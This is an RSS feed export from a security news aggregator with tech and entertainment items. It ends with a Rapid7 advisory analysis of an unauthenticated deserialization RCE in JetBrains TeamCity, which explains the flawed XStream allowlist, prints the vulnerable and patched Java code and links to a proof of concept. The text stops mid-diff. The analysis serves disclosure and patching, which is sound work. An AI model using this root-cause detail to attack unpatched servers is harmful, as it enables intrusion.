<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title><![CDATA[tsecurity.de - News Radar & Live Feeds]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=frontend+java+script+interview%2F]]></link>
<description><![CDATA[Aktuelle Nachrichten und Updates auf tsecurity.de]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 08 Aug 2026 01:18:17 +0200</lastBuildDate>
<pubDate>Sat, 08 Aug 2026 01:18:17 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 tsecurity.de - News Radar &amp; Live Feeds</copyright>
<managingEditor>tsecurity.de (tsecurity.de)</managingEditor>
<webMaster>tsecurity.de (tsecurity.de)</webMaster>
<image>
<url>https://tsecurity.de/templates/mydraft-basis-isharestuff-com/media/logo.png</url>
<title><![CDATA[tsecurity.de - News Radar & Live Feeds]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=frontend+java+script+interview%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/alle-kategorien.xml?q=frontend+java+script+interview%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[What we lose when every engineer can do everything]]></title>
<description><![CDATA[Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasi...]]></description>
<link>https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasionally brittle, but it works, and the end result ships in a fraction of the time it used to take.</p>



<p class="wp-block-paragraph">That small story is unfolding inside nearly every engineering organization right now. While some celebrate the sudden fact that one person can do the work of five, others are focused entirely on tech industry layoffs. Both perspectives skip the question I find more interesting: What happens to mastery when every engineer can suddenly do everything?</p>



<p class="wp-block-paragraph">For two decades, we have described strong engineers as T-shaped. The horizontal bar represents breadth, which is a working familiarity across many areas. The vertical bar represents depth, the real command of one domain earned over years. Agent tooling has stretched that horizontal bar wider than ever before. My concern is the vertical bar, which is quietly getting shorter.</p>



<p class="wp-block-paragraph">Consider what is now possible in a single quarter. With the right agent harness, one engineer can stand up a billing system, a data connector framework, regional and organizational tenancy infrastructure, or a consumption-based pricing implementation. The pull requests pass review. The tests are green. All looks good. But green tests cannot tell you if the person who shipped that work understood why the system needs redundancy in one specific place, where its failure modes are hiding, or which trade-offs the model made silently on their behalf. The pattern recognition that comes from watching systems fail over many years is suddenly weighted differently than it was even 12 months ago. Our industry has not caught up to that shift.</p>



<h2 class="wp-block-heading">When the interview stops measuring judgment</h2>



<p class="wp-block-paragraph">The first place this surfaces is hiring, a trend that should concern anyone who has built a team. Traditional coding interviews were always an imperfect proxy for engineering judgment, but agent tooling completely obliterates them. If a candidate can produce a working solution in 20 minutes that would have taken two hours a year ago, the exercise no longer measures technical competence. It just measures how well a coder can prompt an agent.</p>



<p class="wp-block-paragraph">At Thread AI, we have responded by widening what we look at when we interview job candidates. Our process moves across coding exercises, problem decomposition, system architecture, and behavioral components, with the weighting shifting by role. We allow AI assistance only in specific sections because our engineers still need to be able to operate without it. Some of our work happens in secure environments where you cannot lean on an agent to debug for you. What we’re really testing for now is judgment under ambiguity — the ability to notice when an agent’s output is confidently wrong — and the depth to predict where a system will break before it breaks.</p>



<p class="wp-block-paragraph">Hiring teams that fail to make this shift will fill their rosters with false positives. They will hire people who interview like experts but struggle the first time a system behaves in a way the model did not anticipate. Ultimately, these companies will miss out on top-tier talent, and they won’t discover the misstep until it’s too late.</p>



<h2 class="wp-block-heading">Confusing velocity with understanding</h2>



<p class="wp-block-paragraph">That brings me to a larger risk: the rise of false expertise as a category of its own. Historically, the reasoning has gone, “I built a proof of concept, therefore I am an expert.” I have watched versions of this appear in technical leadership, in investment decisions, and in policy conversations about AI. It travels well because the artifact looks real. A working demo is highly persuasive, even when the person behind it only half-understands how it functions.</p>



<p class="wp-block-paragraph">The problem is bigger than one false expert shipping one bad product; an organization can absorb that. The real risk is a generation of consequential decisions being made by people who have confused velocity with understanding. You can already see the cultural scaffolding being built around this with the celebration of the “idea guy,” and the sudden fashion for invoking “taste” as a substitute for knowing how a system actually works. Those of us shaping tooling, hiring norms, and regulations have a narrow window to set better defaults before this pattern hardens into the way the industry operates.</p>



<h2 class="wp-block-heading">Depth and breadth, held together</h2>



<p class="wp-block-paragraph">This is the path we’ve been walking at Thread AI since before the latest wave of tooling arrived.</p>



<p class="wp-block-paragraph">To ground this in a specific example: I have spent 15 years building complex systems. I worked at Goldman Sachs through the financial crisis and the early Dodd-Frank infrastructure, moved critical payment systems into the cloud at <em>The New York Times</em> when that ground was still new, and built the system of record for model training and evaluation at Palantir across highly regulated environments in defense, health, and finance. This experience is the superpower that lets me course-correct an agent when it produces confident-but-wrong output.</p>



<p class="wp-block-paragraph">I felt this sharply not long ago while scoping consumption-based pricing in a single quarter. The agents did an enormous amount of the heavy lifting, and at some point, I realized that my largest contributions to the effort were knowing where the system would fail and steering around it before we got there. I have also seen how organizations have built large teams around efforts like these in the past. Someone earlier in their career or relying purely on AI guidance would not have had that instinct to draw on. That is the part the public conversation keeps missing.</p>



<p class="wp-block-paragraph">Every engineer at Thread AI, regardless of seniority, is expected to be a builder at heart. Our people own outcomes across compute, data, and the organizational and identity primitives that hold the product together, all without the traditional product-manager and project-manager scaffolding around them. Our model works only because the people in those seats have the depth to know what they do not know, and the breadth to fill the gaps with agents. They use the tooling instead of being used by it.</p>



<h2 class="wp-block-heading">AI doesn’t replace deep understanding</h2>



<p class="wp-block-paragraph">The core issue facing organizations today is not whether AI will replace engineers. That question has been answered dozens of times this year with varying degrees of nuance, and it has stopped being interesting. The more useful question for anyone running a company is whether we are protecting the people who understand our systems deeply enough to recognize when the machines are wrong.</p>



<p class="wp-block-paragraph">In our company, the answers have been to move toward explicit end-to-end ownership, and to hire for depth and breadth together rather than treating them as a trade-off. Layoffs dominate the headlines because they are an easy narrative, but they describe a symptom rather than the actual choice in front of us. The real choice is whether we let breadth quietly stand in for mastery, or whether we build organizations that keep human judgment in the loop on purpose. </p>



<p class="wp-block-paragraph">In an era when software can be generated faster than it can be understood, the companies that hold onto what is human, verifiable, and deeply understood will be the ones still standing when the brittle parts give way.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wispr moves beyond AI dictation with note-taking assistant]]></title>
<description><![CDATA[Wispr, the startup behind dictation tool Wispr Flow, has created an AI note-taking assistant that records meetings and generates conversation summaries for users.



The Wispr Flow Notetaker tool “captures your meetings so you can stop splitting your attention between listening and writing things...]]></description>
<link>https://tsecurity.de/de/3710961/ai-nachrichten/wispr-moves-beyond-ai-dictation-with-note-taking-assistant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710961/ai-nachrichten/wispr-moves-beyond-ai-dictation-with-note-taking-assistant/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Wispr, the startup behind <a href="https://www.computerworld.com/article/4107331/wispr-ceo-interview-post-keyboard-office.html">dictation tool Wispr Flow</a>, has created an AI note-taking assistant that records meetings and generates conversation summaries for users.</p>



<p class="wp-block-paragraph">The Wispr Flow Notetaker tool “captures your meetings so you can stop splitting your attention between listening and writing things down,” said Sahaj Garja, Wispr CTO and co-founder.</p>



<p class="wp-block-paragraph">Notetaker starts recording with one click, and doesn’t require a bot to attend a video or voice call. It can also be used to capture in-person conversations.</p>



<p class="wp-block-paragraph">The software has three key functions. Before a call, Notetaker displays a meeting brief with information such as meeting purpose and background of participants.</p>



<p class="wp-block-paragraph">Once the meeting starts, a live transcript displays the dialogue text and labels speakers. A “what did I miss?” button provides a summary of talking points from the previous few minutes.</p>



<p class="wp-block-paragraph">Finally, post-meeting, Notetaker generates a more detailed summary organized by topic that includes information such as key dates, decisions, and next steps. Users can search across notes from previous meetings in the Notetaker app. “Over time your meeting history stops being a folder of documents you have to go find and becomes something you can ask questions of,” said Garja.</p>



<p class="wp-block-paragraph">Notetaker integrates with AI assistants such as Anthropic’s Claude and OpenAI’s ChatGPT via model context protocol. This allows users to connect outputs such as transcripts and summaries “into how you already work, instead of sitting in a separate app,” said Garja.</p>



<p class="wp-block-paragraph">With Notetaker, Wispr competes in an increasingly busy market for AI note-taking apps that includes Fireflies, Granola and Otter.</p>



<p class="wp-block-paragraph">Wispr <a href="https://wisprflow.ai/post/wispr-flow-notetaker" target="_blank" rel="noreferrer noopener">claims</a> Notetaker can produce more accurate transcripts than existing tools, partly because of the additional context it uses during transcription. It uses the same personal dictionary from Wispr Flow that includes acronyms, products, and preferred spellings, and can also draw on other sources such as calendar information to understand the purpose of a meeting and help ensure speakers are labelled correctly.</p>



<p class="wp-block-paragraph">Before generating the final summary, Notetaker also re-reads the live meeting transcript and combines it with additional context to create a more accurate final output, Garja said.</p>



<p class="wp-block-paragraph">Notetaker is the first new product launched by Wispr, which was founded in 2021 and has since <a href="https://wisprflow.ai/new-funding" target="_blank" rel="noreferrer noopener">raised</a> $81 million in funding.</p>



<p class="wp-block-paragraph">“We didn’t set out to build a dictation app,” said Garja. “The mission has always been to reshape how people interact with their devices, and dictation was the fastest way in.”</p>



<p class="wp-block-paragraph">“Notetaker is the second product on that path. Dictation took the keyboard out of writing. Notetaker takes it out of meetings, so nobody has to spend the call typing up what everyone just said.”</p>



<h2 class="wp-block-heading">User consent when recording calls</h2>



<p class="wp-block-paragraph">As AI note-taking tools have become more prevalent in the workplace, privacy concerns have arisen, including the need for all-party consent when recording a call in some jurisdictions, and whether meeting audio is used to train AI models. Two software vendors, <a href="https://www.computerworld.com/article/4041849/enterprise-note-taking-apps-face-legal-scrutiny-as-otter-hit-with-privacy-suit.html">Otter</a> and <a href="https://www.computerworld.com/article/4206255/granola-lawsuit-raises-concerns-over-ai-note-taking-app-privacy.html">Granola</a>, currently face separate lawsuits in California that allege privacy law violations related to their products.</p>



<p class="wp-block-paragraph">Wispr Flow Notetaker captures audio locally on a user’s device rather than joining the call as a visible bot. That means there’s no notification to signal that a conversation is being transcribed, which places responsibility on users to disclose the recording to others on the call in accordance with local laws, said Garja.</p>



<p class="wp-block-paragraph">“Users should always let the other person know before you start recording or transcribing a conversation, whether it’s a video call, an in-person meeting, or a phone call,” he said, adding that Wispr intends to build additional features for automated consent messaging “in the coming weeks.”</p>



<p class="wp-block-paragraph">Wispr doesn’t train its AI models on customer data without consent, though free and standard tier customers must choose to opt-out, according to Wispr’s privacy <a href="https://docs.wisprflow.ai/articles/3467817258-security-and-compliance-faq" target="_blank" rel="noreferrer noopener">terms</a>. Nor does it create “voiceprints or biometric profiles” of users or anyone else on a call using audio recording data, the company says.</p>



<p class="wp-block-paragraph">When Notetaker is active, conversation audio is captured on a user’s device and processed on cloud servers to enable transcription. The recorded audio file is encrypted and stored temporarily on the user’s device or cloud storage, Wispr said. After a limited period, the audio is automatically deleted.</p>



<p class="wp-block-paragraph">Notetaker is available with the Wispr Flow macOS app to free and paid subscribers, with support for Windows “coming soon.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Scraps The Bonfire Of The Vanities Series Adaptation]]></title>
<description><![CDATA[A new television show based on a classic book is no longer moving forward at Apple TV. Back in April, the streaming platform announced plans to develop a fresh adaptation of the famous Tom Wolfe novel, The Bonfire of the Vanities. The ambitious project brought together big names like television c...]]></description>
<link>https://tsecurity.de/de/3710732/ios-mac-os/apple-tv-scraps-the-bonfire-of-the-vanities-series-adaptation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710732/ios-mac-os/apple-tv-scraps-the-bonfire-of-the-vanities-series-adaptation/</guid>
<pubDate>Sat, 08 Aug 2026 00:40:44 +0200</pubDate>
<content:encoded><![CDATA[A new television show based on a classic book is no longer moving forward at Apple TV. Back in April, the streaming platform announced plans to develop a fresh adaptation of the famous Tom Wolfe novel, The Bonfire of the Vanities. The ambitious project brought together big names like television creator David E. Kelley and film director Matt Reeves. Now, the tech brand has decided to pass on the drama series, leaving the production team to search for a new home.



Warner Bros will shop the drama series to other networks



Even though Apple walked away from the development deal, the show is not completely dead. The studio behind the series, Warner Bros. Television, plans to take the project to other buyers soon. It will work with David E. Kelley Productions to pitch the script to new platforms.



The original story follows a wealthy Wall Street bond trader named Sherman McCoy. His privileged life falls apart after he takes a wrong turn into the Bronx. His frightened mistress takes the steering wheel and runs over a Black man who approaches the car.



Adapting this 1987 novel has proven difficult in the past. A movie version came out in 1990 directed by Brian De Palma. It starred famous actors like Tom Hanks and Bruce Willis, but it ended up failing at the box office and with critics. Fans of the book hoped a longer format series on the Apple TV app would finally get the complex story right.



Since the studio is already shopping the idea around, viewers might still get to see this new take on the classic novel. The creative team has a strong history of making hit shows, making it highly possible that a rival network will step in to fund the production. Until a new deal is officially signed, the project remains paused.]]></content:encoded>
</item>
<item>
<title><![CDATA[Grown Ups 3 Begins Filming As Adam Sandler Shares Cast Photo]]></title>
<description><![CDATA[Adam Sandler is bringing the original cast back together to film a new comedy sequel. Production for the upcoming movie Grown Ups 3 has officially started, arriving more than a full decade after the second film played in theaters. Viewers finally got a clear look at the reunion when Sandler poste...]]></description>
<link>https://tsecurity.de/de/3710736/ios-mac-os/grown-ups-3-begins-filming-as-adam-sandler-shares-cast-photo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710736/ios-mac-os/grown-ups-3-begins-filming-as-adam-sandler-shares-cast-photo/</guid>
<pubDate>Sat, 08 Aug 2026 00:40:44 +0200</pubDate>
<content:encoded><![CDATA[Adam Sandler is bringing the original cast back together to film a new comedy sequel. Production for the upcoming movie Grown Ups 3 has officially started, arriving more than a full decade after the second film played in theaters. Viewers finally got a clear look at the reunion when Sandler posted a new photo from the active set, confirming the main friend group is back to shoot new scenes.



Sandler posts a set photo showing the original cast returning



The actor used his Instagram account to announce the start of production, posting a picture of the crew with a short caption that read, "We missed you!" The image shows him sitting around a restaurant table surrounded by familiar faces from the franchise. Returning stars include Chris Rock, Kevin James, David Spade, and Rob Schneider.



Salma Hayek, Maya Rudolph, Maria Bello, and Jackie Sandler are also back for the third movie. New additions like Bailee Madison and Deon Cole were spotted at the table as well, showing that some fresh faces will join the old group. Madison even shared the same picture on her own account to talk about joining the project.



This time around, the movie is being made directly for Netflix, skipping a normal theater run. As a company, it has kept a long production deal with Sandler, and bringing this big comedy to its platform makes sense. Kyle Newacheck is taking over directing duties from Dennis Dugan, working off a script written by Sandler and Tim Herlihy.



While the first two movies made over $500 million combined at the worldwide box office, plot details for the third movie are being kept a secret. Since the original kids in the story are now adults, the plot will probably focus on a new phase in the characters' lives. A release date is still unknown, but with filming going on right now, the studio will likely share a timeline in the coming months.]]></content:encoded>
</item>
<item>
<title><![CDATA[20 Linux Networking Interview Questions and Answers for 2026]]></title>
<description><![CDATA[The post 20 Linux Networking Interview Questions and Answers for 2026 first appeared on Tecmint: Linux Howtos, Tutorials & Guides .You’ve probably memorized networking definitions like “What is DNS?” or “What is a subnet?” for interviews. But real interviews often
The post 20 Linux Networking Int...]]></description>
<link>https://tsecurity.de/de/3710694/unix-server/20-linux-networking-interview-questions-and-answers-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710694/unix-server/20-linux-networking-interview-questions-and-answers-for-2026/</guid>
<pubDate>Sat, 08 Aug 2026 00:39:44 +0200</pubDate>
<content:encoded><![CDATA[The post <a href="https://www.tecmint.com/networking-interview-questions/">20 Linux Networking Interview Questions and Answers for 2026</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a> .<p>You’ve probably memorized networking definitions like “What is DNS?” or “What is a subnet?” for interviews. But real interviews often</p>
The post <a href="https://www.tecmint.com/networking-interview-questions/">20 Linux Networking Interview Questions and Answers for 2026</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprise Java Vulnerabilities Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz]]></title>
<description><![CDATA[Security research presented at Black Hat 2026 has identified 12 vulnerabilities across four enterprise Java platforms, including two critical pre-authentication remote code execution (RCE) chains affecting Bonita BPM and Apache OFBiz. Researchers Lidor Ben Shitrit and Assaf Levkovich demonstrated...]]></description>
<link>https://tsecurity.de/de/3710518/hacking/enterprise-java-vulnerabilities-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710518/hacking/enterprise-java-vulnerabilities-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</guid>
<pubDate>Sat, 08 Aug 2026 00:36:43 +0200</pubDate>
<content:encoded><![CDATA[<p>Security research presented at Black Hat 2026 has identified 12 vulnerabilities across four enterprise Java platforms, including two critical pre-authentication remote code execution (RCE) chains affecting Bonita BPM and Apache OFBiz. Researchers Lidor Ben Shitrit and Assaf Levkovich demonstrated how seemingly minor middleware vulnerabilities, such as differences in URL parsing, incomplete servlet protections, hardcoded cryptographic […]</p>
<p>The post <a href="https://gbhackers.com/enterprise-java-vulnerabilities/">Enterprise Java Vulnerabilities Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprise Java Vulnerabilities Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz]]></title>
<description><![CDATA[Security research presented at Black Hat 2026 has identified 12 vulnerabilities across four enterprise Java platforms, including two critical pre-authentication remote code execution (RCE) chains affecting Bonita BPM and Apache OFBiz. Researchers Lidor Ben Shitrit and Assaf Levkovich demonstrated...]]></description>
<link>https://tsecurity.de/de/3710451/it-security-nachrichten/enterprise-java-vulnerabilities-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710451/it-security-nachrichten/enterprise-java-vulnerabilities-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:25 +0200</pubDate>
<content:encoded><![CDATA[<p>Security research presented at Black Hat 2026 has identified 12 vulnerabilities across four enterprise Java platforms, including two critical pre-authentication remote code execution (RCE) chains affecting Bonita BPM and Apache OFBiz. Researchers Lidor Ben Shitrit and Assaf Levkovich demonstrated how seemingly minor middleware vulnerabilities, such as differences in URL parsing, incomplete servlet protections, hardcoded cryptographic […]</p>
<p>The post <a href="https://gbhackers.com/enterprise-java-vulnerabilities/">Enterprise Java Vulnerabilities Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprise Java Flaws Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz]]></title>
<description><![CDATA[A newly disclosed 12 vulnerabilities affecting four enterprise Java platforms, including four pre-authentication flaws and a sandbox escape. Presented at Black Hat 2026, the research shows how overlooked middleware components, including routers, servlet dispatchers, SSO handlers, deserializers, a...]]></description>
<link>https://tsecurity.de/de/3710432/it-security-nachrichten/enterprise-java-flaws-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710432/it-security-nachrichten/enterprise-java-flaws-enable-pre-auth-rce-in-bonita-bpm-and-apache-ofbiz/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:21 +0200</pubDate>
<content:encoded><![CDATA[<p>A newly disclosed 12 vulnerabilities affecting four enterprise Java platforms, including four pre-authentication flaws and a sandbox escape. Presented at Black Hat 2026, the research shows how overlooked middleware components, including routers, servlet dispatchers, SSO handlers, deserializers, and template engines, can combine to form complete remote code execution (RCE) chains. The most severe findings affect […]</p>
<p>The post <a href="https://cyberpress.org/enterprise-java-bonita-bpm-apache-ofbiz/">Enterprise Java Flaws Enable Pre-Auth RCE in Bonita BPM and Apache OFBiz</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)]]></title>
<description><![CDATA[OverviewOn July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute...]]></description>
<link>https://tsecurity.de/de/3710336/it-security-nachrichten/rapid7-analysis-unauthenticated-remote-code-execution-in-jetbrains-teamcity-cve-2026-63077/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710336/it-security-nachrichten/rapid7-analysis-unauthenticated-remote-code-execution-in-jetbrains-teamcity-cve-2026-63077/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:07 +0200</pubDate>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 27, 2026, JetBrains published a </span><a href="https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/"><span>security advisory</span></a><span> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-63077/"><span>CVE-2026-63077</span></a><span>, a critical unsafe deserialization vulnerability affecting JetBrains </span><a href="https://www.jetbrains.com/teamcity/"><span>TeamCity</span></a><span>. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.</span></p><p></p><p><span>JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077"><span>Known Exploited Vulnerabilities</span></a><span> (KEV) catalog, confirming exploitation in the wild.</span></p><p></p><p><span>Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding </span><span><span data-type="inlineCode">NoTypePermission.NONE</span></span><span> before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive. </span></p><p><span></span></p><p><span>Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span>here</span></a><span>.</span></p><h2>Analysis</h2><p><span>Our analysis compares a vulnerable TeamCity version </span><span><span data-type="inlineCode">2026.1.2</span></span><span> against a patched version </span><span><span data-type="inlineCode">2026.1.3</span></span><span>.</span></p><p></p><p><span>TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under </span><span><span data-type="inlineCode">/app/agents/v1</span></span><span> support this agent communication channel rather than the TeamCity web interface or REST API. A </span><span><span data-type="inlineCode">TeamCity-AgentSessionId</span></span><span> HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.</span></p><p></p><p><a href="https://x-stream.github.io/"><span>XStream</span></a><span> is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An </span><a href="https://x-stream.github.io/graphs.html"><span>object graph</span></a><span> can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, </span><span><span data-type="inlineCode">&lt;linked-hash-map&gt;</span></span><span> is XStream's alias for </span><span><span data-type="inlineCode">java.util.LinkedHashMap</span></span><span>. Nested element names and </span><span><span data-type="inlineCode">class</span></span><span> attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.</span></p><h3><span>Patch diff</span></h3><p><span>The class </span><span><span data-type="inlineCode">jetbrains.buildServer.messages.XStreamHolder</span></span><span> is TeamCity's wrapper for creating and configuring XStream instances. TeamCity </span><span><span data-type="inlineCode">2026.1.2</span></span><span> creates an instance of </span><span><span data-type="inlineCode">XStreamHolder</span></span><span>, configures it, and then calls </span><span><span data-type="inlineCode">setupSecurityIfNeeded()</span></span><span>. If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            &amp;&amp; OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // &lt;--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // &lt;--- [2]
}</pre><p><span></span></p><p><span>The calls at </span><span><span data-type="inlineCode">[1]</span></span><span> and </span><span><span data-type="inlineCode">[2]</span></span><span> do not start from an empty permission set. The bundled XStream </span><span><span data-type="inlineCode">1.4.20.3</span></span><span> constructor has already called </span><span><span data-type="inlineCode">setupSecurity()</span></span><span>, which permits several broad type hierarchies, including </span><span><span data-type="inlineCode">Map</span></span><span> and </span><span><span data-type="inlineCode">Throwable</span></span><span>:</span></p><p><span></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // &lt;--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // &lt;--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // &lt;--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...</pre><p></p><p><span>Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.</span></p><p><span></span></p><p><span>The patch from version </span><span><span data-type="inlineCode">2026.1.3</span></span><span> can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:</span></p><p><span></span></p><pre language="diff">+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             &amp;&amp; OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // &lt;--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }</pre><p></p><p><span>The patched initializer turns the new behavior on before it populates the static allowlist:</span></p><p><span></span></p><pre language="diff"> public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // &lt;--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
